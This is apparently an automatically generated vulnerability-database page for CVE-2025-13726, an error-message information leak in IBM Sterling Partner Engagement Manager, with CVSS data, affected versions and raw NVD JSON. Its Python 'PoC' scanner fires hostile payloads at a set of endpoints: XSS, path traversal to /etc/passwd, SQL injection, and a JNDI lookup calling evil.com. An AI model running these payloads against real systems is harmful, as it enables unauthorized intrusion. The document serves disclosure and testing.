Security Vulnerability Report
中文
CVE-2025-13726 CVSS 5.3 MEDIUM

CVE-2025-13726

Published: 2026-03-13 19:53:49
Last Modified: 2026-03-18 20:28:23

Description

IBM Sterling Partner Engagement Manager 6.2.3.0 through 6.2.3.5 and 6.2.4.0 through 6.2.4.2 could allow a remote attacker to obtain sensitive information when detailed technical error messages are returned. This information could be used in further attacks against the system.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:sterling_partner_engagement_manager:*:*:*:*:essentials:*:*:* - VULNERABLE
cpe:2.3:a:ibm:sterling_partner_engagement_manager:*:*:*:*:standard:*:*:* - VULNERABLE
cpe:2.3:a:ibm:sterling_partner_engagement_manager:*:*:*:*:essentials:*:*:* - VULNERABLE
cpe:2.3:a:ibm:sterling_partner_engagement_manager:*:*:*:*:standard:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
IBM Sterling Partner Engagement Manager 6.2.3.0 - 6.2.3.5
IBM Sterling Partner Engagement Manager 6.2.4.0 - 6.2.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13726 PoC - Information Disclosure via Error Messages # Target: IBM Sterling Partner Engagement Manager # This PoC demonstrates how to trigger detailed error messages import requests import re from urllib.parse import urljoin TARGET_URL = "https://target-server.example.com:8443" CVE_ID = "CVE-2025-13726" def test_error_message_disclosure(): """Test for CVE-2025-13726 Information Disclosure vulnerability""" # Common endpoints that may expose sensitive information test_endpoints = [ "/partnerEngagement", "/api/partner", "/ SterlingPartnerEngagement", "/web/partner", "/jsp/error.jsp", "/static/error.html", "/health", "/actuator/env" ] # Payloads to trigger error conditions payloads = [ {"id": "<script>alert('XSS')</script>"}, {"id": "../../../../etc/passwd"}, {"id": "' OR '1'='1"}, {"id": "999999999999999999"}, {"id": "null"}, {"id": "{{7*7}}"}, {"name": "${jndi:ldap://evil.com/a}"}, {"filter": "test' AND SLEEP(5)--"} ] headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-13726-Scanner/1.0)", "Accept": "application/json, text/html" } vulnerable = False findings = [] print(f"[*] Scanning for {CVE_ID}") print(f"[*] Target: {TARGET_URL}") for endpoint in test_endpoints: url = urljoin(TARGET_URL, endpoint) # Test with various payloads for payload in payloads: try: response = requests.get( url, params=payload, headers=headers, timeout=10, verify=False ) # Check for sensitive information in response sensitive_patterns = [ r"java\.lang\..*Exception", r"at\s+[\w\.]+\([\w\.]+\.java:\d+\)", r"SQLException", r"StackTrace", r"\.class\.getResource", r"/home/[\w]+/", r"C:\\[\\w\\]+\\", r"password|secret|key\s*=\s*['\"][^'\"жа]+['\"]", r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}", r"version\s*[:=]\s*[\d\.]+", r"at\s+org\.apache", r"at\s+org\.springframework" ] for pattern in sensitive_patterns: matches = re.findall(pattern, response.text, re.IGNORECASE) if matches: vulnerable = True findings.append({ "url": url, "payload": str(payload), "pattern": pattern, "matches": matches[:5] # Limit matches shown }) print(f"[!] Potential vulnerability found at {url}") print(f" Payload: {payload}") print(f" Matched: {matches[:3]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed for {url}: {e}") # Generate report if vulnerable: print(f"\n[!] {CVE_ID} - Information Disclosure Vulnerability CONFIRMED") print(f"[!] Found {len(findings)} potential information leaks") return findings else: print(f"\n[*] No obvious vulnerability indicators found") print(f"[*] Manual testing recommended") return [] if __name__ == "__main__": results = test_error_message_disclosure() # Save results import json with open(f"{CVE_ID}_scan_results.json", "w") as f: json.dump(results, f, indent=2) print(f"\n[*] Results saved to {CVE_ID}_scan_results.json")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13726", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:53:48.870", "lastModified": "2026-03-18T20:28:22.507", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Sterling Partner Engagement Manager 6.2.3.0 through 6.2.3.5 and 6.2.4.0 through 6.2.4.2 could allow a remote attacker to obtain sensitive information when detailed technical error messages are returned. This information could be used in further attacks against the system."}, {"lang": "es", "value": "IBM Sterling Partner Engagement Manager 6.2.3.0 a 6.2.3.5 y 6.2.4.0 a 6.2.4.2 podría permitir a un atacante remoto obtener información sensible cuando se devuelven mensajes de error técnicos detallados. Esta información podría ser utilizada en ataques posteriores contra el sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-209"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_partner_engagement_manager:*:*:*:*:essentials:*:*:*", "versionStartIncluding": "6.2.3", "versionEndExcluding": "6.2.3.6", "matchCriteriaId": "687DC91A-7A4C-4FF2-8E23-65C8CDC5F52D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_partner_engagement_manager:*:*:*:*:standard:*:*:*", "versionStartIncluding": "6.2.3", "versionEndExcluding": "6.2.3.6", "matchCriteriaId": "7D427503-5EF4-485A-8073-C6C0B5723C2A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_partner_engagement_manager:*:*:*:*:essentials:*:*:*", "versionStartIncluding": "6.2.4", "versionEndExcluding": "6.2.4.3", "matchCriteriaId": "AB87CB0E-55B9-4C72-A592-C7E162A10C63"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_partner_engagement_manager:*:*:*:*:standard:*:*:*", "versionStartIncluding": "6.2.4", "versionEndExcluding": "6.2.4.3", "matchCriteriaId": "C07A609D-EF2B-423D-8006-B75E33C858D8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7263391", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}